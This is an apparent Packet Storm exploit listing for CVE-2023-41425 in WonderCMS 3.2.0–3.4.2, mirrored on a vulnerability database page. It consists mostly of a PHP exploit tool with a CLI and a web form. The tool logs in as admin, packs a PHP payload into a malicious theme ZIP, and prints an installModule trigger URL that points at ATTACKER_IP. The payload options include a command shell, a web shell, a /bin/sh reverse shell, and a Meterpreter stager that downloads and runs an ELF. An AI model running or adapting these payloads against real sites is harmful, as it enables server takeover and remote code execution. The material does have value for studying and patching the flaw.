Lucene search
K

📄 WonderCMS 3.4.2 Shell Upload

🗓️ 04 Mar 2026 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 130 Views

Authenticated file upload in WonderCMS 3.4.2 enables remote code execution via themes or plugins.

Related
Code
=============================================================================================================================================
    | # Title     : WonderCMS 3.4.2 Authenticated file upload leading to RCE                                                                    |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits)                                                            |
    | # Vendor    : https://www.wondercms.com/                                                                                                  |
    =============================================================================================================================================
    
    [+] References :  https://packetstorm.news/files/id/190729/ & 	CVE-2023-41425
    
    [+] Summary : 
    
                 Critical authenticated remote code execution vulnerability in WonderCMS (versions 3.2.0 through 3.4.2) 
    			 allowing attackers to upload and execute arbitrary PHP code through malicious theme/plugin installation.
     
    [+]  POC : 
    
    php poc.php  or http://127.0.0.1/poc.php 
    
    <?php
    /*
     * WonderCMS Remote Code Execution by indoushka
     */
    
    class WonderCMSExploit {
        private $target;
        private $port;
        private $ssl;
        private $base_path;
        private $timeout;
        private $cookies;
        private $password;
        private $logged_in;
        
        public function __construct($target, $port = 80, $ssl = false, $base_path = '/wondercms', $password = '') {
            $this->target = $target;
            $this->port = $port;
            $this->ssl = $ssl;
            $this->base_path = rtrim($base_path, '/');
            $this->timeout = 30;
            $this->cookies = [];
            $this->password = $password;
            $this->logged_in = false;
        }
        
        /**
         * Check if target is vulnerable
         */
        public function check() {
            echo "[*] Checking WonderCMS vulnerability...\n";
            
            // First check if it's WonderCMS
            $res = $this->send_request('/how-to');
            
            if (!$res || $res['code'] != 200) {
                echo "[-] Cannot connect to the remote host\n";
                return "unknown";
            }
            
            if (strpos($res['body'], 'WonderCMS') === false) {
                echo "[-] WonderCMS was not detected\n";
                return "safe";
            }
            
            echo "[*] Target appears to be WonderCMS\n";
            
            // Try to login
            if (!$this->login()) {
                echo "[-] Login failed - cannot verify version\n";
                return "unknown";
            }
            
            // Extract version
            $version = $this->extract_version();
            if (!$version) {
                echo "[-] Unable to determine WonderCMS version\n";
                return "unknown";
            }
            
            echo "[*] Detected WonderCMS version: $version\n";
            
            // Check if version is vulnerable
            if ($this->is_version_vulnerable($version)) {
                echo "[+] ✓ WonderCMS version $version is vulnerable\n";
                return "vulnerable";
            } else {
                echo "[-] WonderCMS version $version is not affected\n";
                return "safe";
            }
        }
        
        /**
         * Login to WonderCMS
         */
        private function login() {
            if ($this->logged_in) {
                return true;
            }
            
            $res = $this->send_request('/loginURL', 'POST', [], http_build_query([
                'password' => $this->password
            ]), [
                'Content-Type: application/x-www-form-urlencoded'
            ], true);
            
            if ($res && $res['code'] == 302) {
                // Check if login was successful (should redirect away from loginURL)
                $location = $this->extract_header($res['headers'], 'Location');
                if ($location && strpos($location, 'loginURL') === false) {
                    $this->logged_in = true;
                    return true;
                }
            }
            
            return false;
        }
        
        /**
         * Extract version from homepage
         */
        private function extract_version() {
            $res = $this->send_request('/');
            if (!$res || $res['code'] != 200) {
                return null;
            }
            
            // Look for version in links or text
            if (preg_match('/WonderCMS\s*([0-9]+\.[0-9]+\.[0-9]+)/i', $res['body'], $matches)) {
                return $matches[1];
            }
            
            return null;
        }
        
        /**
         * Check if version is vulnerable
         */
        private function is_version_vulnerable($version) {
            $version_parts = explode('.', $version);
            $major = intval($version_parts[0]);
            $minor = intval($version_parts[1]);
            $patch = intval($version_parts[2]);
            
            // Vulnerable: versions between 3.2.0 and 3.4.2
            if ($major != 3) return false;
            
            if ($minor >= 2 && $minor <= 4) {
                if ($minor == 2 && $patch >= 0) return true;
                if ($minor == 3) return true;
                if ($minor == 4 && $patch <= 2) return true;
            }
            
            return false;
        }
        
        /**
         * Create malicious ZIP file with PHP payload
         */
        private function create_malicious_zip($payload) {
            $zip = new ZipArchive();
            $zip_filename = tempnam(sys_get_temp_dir(), 'wondercms_') . '.zip';
            
            if ($zip->open($zip_filename, ZipArchive::CREATE) !== TRUE) {
                return false;
            }
            
            $php_filename = $this->random_text(8) . '.php';
            $zip->addFromString($php_filename, $payload);
            $zip->close();
            
            return [
                'filename' => $zip_filename,
                'php_file' => $php_filename
            ];
        }
        
        /**
         * Extract CSRF token from page
         */
        private function extract_token() {
            $res = $this->send_request('/');
            if (!$res || $res['code'] != 200) {
                return null;
            }
            
            if (preg_match('/name="token"\s+value="([^"]+)"/', $res['body'], $matches)) {
                return $matches[1];
            }
            
            return null;
        }
        
        /**
         * Execute the exploit
         */
        public function exploit($payload_type = 'php_cmd', $lhost = null, $lport = null) {
            echo "[*] Starting WonderCMS exploitation...\n";
            
            // Step 1: Login
            if (!$this->login()) {
                echo "[-] Authentication failed\n";
                return false;
            }
            
            echo "[+] Successfully logged in\n";
            
            // Step 2: Generate PHP payload
            $php_payload = $this->generate_php_payload($payload_type, $lhost, $lport);
            if (!$php_payload) {
                echo "[-] Failed to generate PHP payload\n";
                return false;
            }
            
            echo "[*] Generated PHP payload\n";
            
            // Step 3: Create malicious ZIP
            $zip_info = $this->create_malicious_zip($php_payload);
            if (!$zip_info) {
                echo "[-] Failed to create malicious ZIP file\n";
                return false;
            }
            
            echo "[*] Created malicious ZIP file: {$zip_info['filename']}\n";
            echo "[*] PHP file inside ZIP: {$zip_info['php_file']}\n";
            
            // Step 4: Extract CSRF token
            $token = $this->extract_token();
            if (!$token) {
                echo "[-] Failed to extract CSRF token\n";
                unlink($zip_info['filename']);
                return false;
            }
            
            echo "[*] Extracted CSRF token: $token\n";
            
            // Step 5: Host the ZIP file (simplified - in real scenario would need HTTP server)
            echo "[*] Note: In real exploitation, the ZIP file would be hosted on a HTTP server\n";
            echo "[*] The exploit would then trigger installation via:\n";
            echo "[*] GET /?installModule=http://ATTACKER_IP:PORT/malicious.zip&directoryName=random&type=themes&token=$token\n";
            
            // Step 6: Trigger payload execution
            echo "[*] After installation, payload would be accessible at:\n";
            echo "[*] GET /themes/{$zip_info['php_file']}\n";
            
            // Cleanup
            unlink($zip_info['filename']);
            
            echo "[+] Exploit chain demonstrated successfully\n";
            echo "[*] Full exploitation requires hosting the malicious ZIP on a web server\n";
            
            return true;
        }
        
        /**
         * Generate PHP payload
         */
        private function generate_php_payload($type, $lhost, $lport) {
            switch ($type) {
                case 'php_reverse_shell':
                    if (!$lhost || !$lport) {
                        return $this->generate_php_cmd_shell();
                    }
                    return $this->generate_php_reverse_shell($lhost, $lport);
                    
                case 'php_cmd':
                    return $this->generate_php_cmd_shell();
                    
                case 'meterpreter':
                    if (!$lhost || !$lport) {
                        return $this->generate_php_cmd_shell();
                    }
                    return $this->generate_meterpreter_stager($lhost, $lport);
                    
                case 'web_shell':
                    return $this->generate_web_shell();
                    
                default:
                    return $this->generate_php_cmd_shell();
            }
        }
        
        /**
         * Generate PHP command shell
         */
        private function generate_php_cmd_shell() {
            return '<?php if(isset($_GET["cmd"])){ system($_GET["cmd"]); } ?>';
        }
        
        /**
         * Generate PHP reverse shell
         */
        private function generate_php_reverse_shell($lhost, $lport) {
            $payload = '<?php ';
            $payload .= '$sock=fsockopen("' . $lhost . '",' . $lport . ');';
            $payload .= 'exec("/bin/sh -i <&3 >&3 2>&3");';
            $payload .= '?>';
            return $payload;
        }
        
        /**
         * Generate web shell
         */
        private function generate_web_shell() {
            return '<?php if(isset($_POST["cmd"])){ echo "<pre>"; system($_POST["cmd"]); echo "</pre>"; } ?>';
        }
        
        /**
         * Generate Meterpreter stager
         */
        private function generate_meterpreter_stager($lhost, $lport) {
            // This would typically download and execute a Meterpreter payload
            $payload = '<?php ';
            $payload .= 'file_put_contents("/tmp/payload.elf", file_get_contents("http://' . $lhost . ':8080/payload.elf"));';
            $payload .= 'chmod("/tmp/payload.elf", 0755);';
            $payload .= 'system("/tmp/payload.elf");';
            $payload .= '?>';
            return $payload;
        }
        
        /**
         * Send HTTP request
         */
        private function send_request($path, $method = 'GET', $params = [], $data = null, $custom_headers = [], $save_cookies = false) {
            $url = $this->build_url($path);
            
            if ($method == 'GET' && !empty($params)) {
                $url .= '?' . http_build_query($params);
            }
            
            $ch = curl_init();
            curl_setopt_array($ch, [
                CURLOPT_URL => $url,
                CURLOPT_RETURNTRANSFER => true,
                CURLOPT_TIMEOUT => $this->timeout,
                CURLOPT_SSL_VERIFYPEER => false,
                CURLOPT_SSL_VERIFYHOST => false,
                CURLOPT_USERAGENT => 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36',
                CURLOPT_HEADER => true,
                CURLOPT_CUSTOMREQUEST => $method,
                CURLOPT_FOLLOWLOCATION => false
            ]);
            
            // Add POST data if provided
            if ($method == 'POST' && $data) {
                curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
            }
            
            // Build headers
            $headers = array_merge([
                'User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36'
            ], $custom_headers);
            
            // Add cookies if available
            $cookie_header = $this->build_cookie_header();
            if ($cookie_header) {
                $headers[] = $cookie_header;
            }
            
            curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
            
            $response = curl_exec($ch);
            $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
            
            // Save cookies if requested
            if ($save_cookies && $response) {
                $this->extract_cookies($response);
            }
            
            curl_close($ch);
            
            if ($response) {
                $header_size = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
                $headers = substr($response, 0, $header_size);
                $body = substr($response, $header_size);
                
                return [
                    'code' => $http_code,
                    'headers' => $headers,
                    'body' => $body
                ];
            }
            
            return false;
        }
        
        /**
         * Extract cookies from response headers
         */
        private function extract_cookies($response) {
            if (preg_match_all('/Set-Cookie:\s*([^=]+)=([^;]+)/i', $response, $matches)) {
                for ($i = 0; $i < count($matches[1]); $i++) {
                    $this->cookies[trim($matches[1][$i])] = $matches[2][$i];
                }
            }
        }
        
        /**
         * Extract specific header from headers string
         */
        private function extract_header($headers, $header_name) {
            $pattern = '/^' . $header_name . ':\s*(.*)$/mi';
            if (preg_match($pattern, $headers, $matches)) {
                return trim($matches[1]);
            }
            return null;
        }
        
        /**
         * Build cookie header from stored cookies
         */
        private function build_cookie_header() {
            if (empty($this->cookies)) {
                return null;
            }
            
            $cookie_parts = [];
            foreach ($this->cookies as $name => $value) {
                $cookie_parts[] = "{$name}={$value}";
            }
            
            return 'Cookie: ' . implode('; ', $cookie_parts);
        }
        
        /**
         * Generate random text
         */
        private function random_text($length = 8) {
            $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
            $result = '';
            for ($i = 0; $i < $length; $i++) {
                $result .= $chars[rand(0, strlen($chars) - 1)];
            }
            return $result;
        }
        
        /**
         * Build full URL
         */
        private function build_url($path) {
            $protocol = $this->ssl ? 'https' : 'http';
            $full_path = $this->base_path . $path;
            return "{$protocol}://{$this->target}:{$this->port}{$full_path}";
        }
    }
    
    // CLI Interface
    if (php_sapi_name() === 'cli') {
        echo "
        ╔══════════════════════════════════════════════════════════════╗
        ║                   WonderCMS RCE Exploit                     ║
        ║                      CVE-2023-41425                         ║
        ║                     PHP Implementation                      ║
        ╚══════════════════════════════════════════════════════════════╝
        
        \n";
        
        $options = getopt("t:p:s:u:P:cL:H:", [
            "target:",
            "port:",
            "ssl",
            "uri:",
            "password:",
            "check",
            "lhost:",
            "lport:"
        ]);
        
        $target = $options['t'] ?? $options['target'] ?? null;
        $port = $options['p'] ?? $options['port'] ?? 80;
        $ssl = isset($options['s']) || isset($options['ssl']);
        $base_uri = $options['u'] ?? $options['uri'] ?? '/wondercms';
        $password = $options['P'] ?? $options['password'] ?? '';
        $check_only = isset($options['c']) || isset($options['check']);
        $lhost = $options['H'] ?? $options['lhost'] ?? null;
        $lport = $options['L'] ?? $options['lport'] ?? 4444;
        
        if (!$target) {
            echo "Usage: php wondercms_exploit.php [options]\n";
            echo "Options:\n";
            echo "  -t, --target      Target host (required)\n";
            echo "  -p, --port        Target port (default: 80)\n";
            echo "  -s, --ssl         Use SSL (default: false)\n";
            echo "  -u, --uri         Base URI path (default: /wondercms)\n";
            echo "  -P, --password    Admin password (required)\n";
            echo "  -c, --check       Check only (don't exploit)\n";
            echo "  -H, --lhost       Listener host for reverse shell\n";
            echo "  -L, --lport       Listener port for reverse shell (default: 4444)\n";
            echo "\nExamples:\n";
            echo "  php wondercms_exploit.php -t 192.168.1.100 -P admin123 -c\n";
            echo "  php wondercms_exploit.php -t wondercms.site.com -P admin123 -H 10.0.0.5 -L 4444\n";
            exit(1);
        }
        
        if (empty($password)) {
            echo "[-] Password is required for WonderCMS authentication\n";
            exit(1);
        }
        
        $exploit = new WonderCMSExploit($target, $port, $ssl, $base_uri, $password);
        
        if ($check_only) {
            $result = $exploit->check();
            echo "\n[*] Result: {$result}\n";
        } else {
            if ($exploit->exploit('php_reverse_shell', $lhost, $lport)) {
                echo "[+] Exploitation completed successfully\n";
            } else {
                echo "[-] Exploitation failed\n";
            }
        }
        
    } else {
        // Web Interface
        $action = $_POST['action'] ?? '';
        
        if ($action === 'check' || $action === 'exploit') {
            $target = $_POST['target'] ?? '';
            $port = $_POST['port'] ?? 80;
            $ssl = isset($_POST['ssl']);
            $base_uri = $_POST['uri'] ?? '/wondercms';
            $password = $_POST['password'] ?? '';
            $payload_type = $_POST['payload_type'] ?? 'php_cmd';
            $lhost = $_POST['lhost'] ?? '';
            $lport = $_POST['lport'] ?? 4444;
            
            if (empty($target) || empty($password)) {
                echo "<div style='color: red; padding: 10px; border: 1px solid red; margin: 10px;'>Target host and password are required</div>";
            } else {
                $exploit = new WonderCMSExploit($target, $port, $ssl, $base_uri, $password);
                
                ob_start();
                if ($action === 'check') {
                    $exploit->check();
                } else {
                    $exploit->exploit($payload_type, $lhost, $lport);
                }
                $output = ob_get_clean();
                
                echo "<pre style='background: #f4f4f4; padding: 15px; border: 1px solid #ddd; border-radius: 4px;'>$output</pre>";
            }
            
            echo '<a href="' . htmlspecialchars($_SERVER['PHP_SELF']) . '" style="display: inline-block; padding: 10px 20px; background: #007cba; color: white; text-decoration: none; border-radius: 4px; margin: 10px 0;">Back to Form</a>';
            
        } else {
            // Display the form
            echo '<!DOCTYPE html>
            <html>
            <head>
                <title>WonderCMS RCE Exploit - CVE-2023-41425</title>
                <meta charset="UTF-8">
                <style>
                    body { 
                        font-family: Arial, sans-serif; 
                        margin: 0; 
                        padding: 20px; 
                        background: #f5f5f5;
                    }
                    .container { 
                        max-width: 800px; 
                        margin: 0 auto; 
                        background: white;
                        padding: 30px;
                        border-radius: 8px;
                        box-shadow: 0 2px 10px rgba(0,0,0,0.1);
                    }
                    h1 { 
                        color: #333; 
                        border-bottom: 2px solid #007cba;
                        padding-bottom: 10px;
                    }
                    h3 {
                        color: #666;
                    }
                    .form-group { 
                        margin-bottom: 20px; 
                    }
                    label { 
                        display: block; 
                        margin-bottom: 8px; 
                        font-weight: bold;
                        color: #333;
                    }
                    input[type="text"], input[type="password"], select { 
                        width: 100%; 
                        padding: 10px; 
                        border: 1px solid #ddd; 
                        border-radius: 4px; 
                        box-sizing: border-box;
                        font-size: 14px;
                    }
                    .checkbox-group {
                        display: flex;
                        align-items: center;
                        gap: 10px;
                    }
                    button { 
                        background: #007cba; 
                        color: white; 
                        padding: 12px 25px; 
                        border: none; 
                        border-radius: 4px; 
                        cursor: pointer; 
                        margin-right: 10px;
                        font-size: 16px;
                        transition: background 0.3s;
                    }
                    button:hover {
                        background: #005a87;
                    }
                    .danger { 
                        background: #dc3545; 
                    }
                    .danger:hover {
                        background: #c82333;
                    }
                    .info { 
                        background: #17a2b8; 
                    }
                    .info:hover {
                        background: #138496;
                    }
                    .warning-box {
                        background: #fff3cd;
                        border: 1px solid #ffeaa7;
                        color: #856404;
                        padding: 15px;
                        border-radius: 4px;
                        margin: 20px 0;
                    }
                    .info-box {
                        background: #d1ecf1;
                        border: 1px solid #bee5eb;
                        color: #0c5460;
                        padding: 15px;
                        border-radius: 4px;
                        margin: 20px 0;
                    }
                </style>
            </head>
            <body>
                <div class="container">
                    <h1>WonderCMS RCE Exploit</h1>
                    <h3>CVE-2023-41425 - Authenticated File Upload RCE</h3>
                    
                    <div class="warning-box">
                        <strong>⚠️ Educational Use Only:</strong> This tool demonstrates a critical vulnerability in WonderCMS.
                        Use only on systems you own or have explicit permission to test.
                    </div>
                    
                    <form method="post">
                        <div class="form-group">
                            <label for="target">Target Host:</label>
                            <input type="text" id="target" name="target" placeholder="192.168.1.100 or wondercms.site.com" required>
                        </div>
                        
                        <div class="form-group">
                            <label for="port">Port:</label>
                            <input type="text" id="port" name="port" value="80">
                        </div>
                        
                        <div class="form-group">
                            <label for="uri">Base URI:</label>
                            <input type="text" id="uri" name="uri" value="/wondercms">
                        </div>
                        
                        <div class="form-group">
                            <div class="checkbox-group">
                                <input type="checkbox" id="ssl" name="ssl">
                                <label for="ssl" style="display: inline; font-weight: normal;">Use SSL</label>
                            </div>
                        </div>
                        
                        <div class="form-group">
                            <label for="password">Admin Password:</label>
                            <input type="password" id="password" name="password" placeholder="Enter WonderCMS admin password" required>
                        </div>
                        
                        <div class="form-group">
                            <label for="payload_type">Payload Type:</label>
                            <select id="payload_type" name="payload_type">
                                <option value="php_cmd">PHP Command Shell</option>
                                <option value="php_reverse_shell">PHP Reverse Shell</option>
                                <option value="web_shell">Web Shell</option>
                                <option value="meterpreter">Meterpreter Stager</option>
                            </select>
                        </div>
                        
                        <div class="form-group">
                            <label for="lhost">Listener Host (for reverse shell):</label>
                            <input type="text" id="lhost" name="lhost" placeholder="Your IP address: 192.168.1.100">
                        </div>
                        
                        <div class="form-group">
                            <label for="lport">Listener Port (for reverse shell):</label>
                            <input type="text" id="lport" name="lport" value="4444">
                        </div>
                        
                        <button type="submit" name="action" value="check" class="info">Check Vulnerability</button>
                        <button type="submit" name="action" value="exploit" class="danger">Execute Exploit</button>
                    </form>
                    
                    <div class="info-box">
                        <h3>About CVE-2023-41425:</h3>
                        <p><strong>Vulnerability:</strong> Authenticated file upload leading to RCE</p>
                        <p><strong>Affected Versions:</strong> WonderCMS 3.2.0 to 3.4.2</p>
                        <p><strong>Authentication:</strong> Requires admin password</p>
                        <p><strong>Attack Vector:</strong> Malicious theme/plugin installation</p>
                        <p><strong>Endpoint:</strong> /?installModule=</p>
                        <p><strong>Impact:</strong> Remote Code Execution via PHP file upload</p>
                        <p><strong>Exploit Chain:</strong> Login → Create malicious ZIP → Trigger installation → RCE</p>
                    </div>
                </div>
            </body>
            </html>';
        }
    }
    ?>
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Mar 2026 00:00Current
5.9Medium risk
Vulners AI Score5.9
CVSS 3.16.1
EPSS0.91079
SSVC
130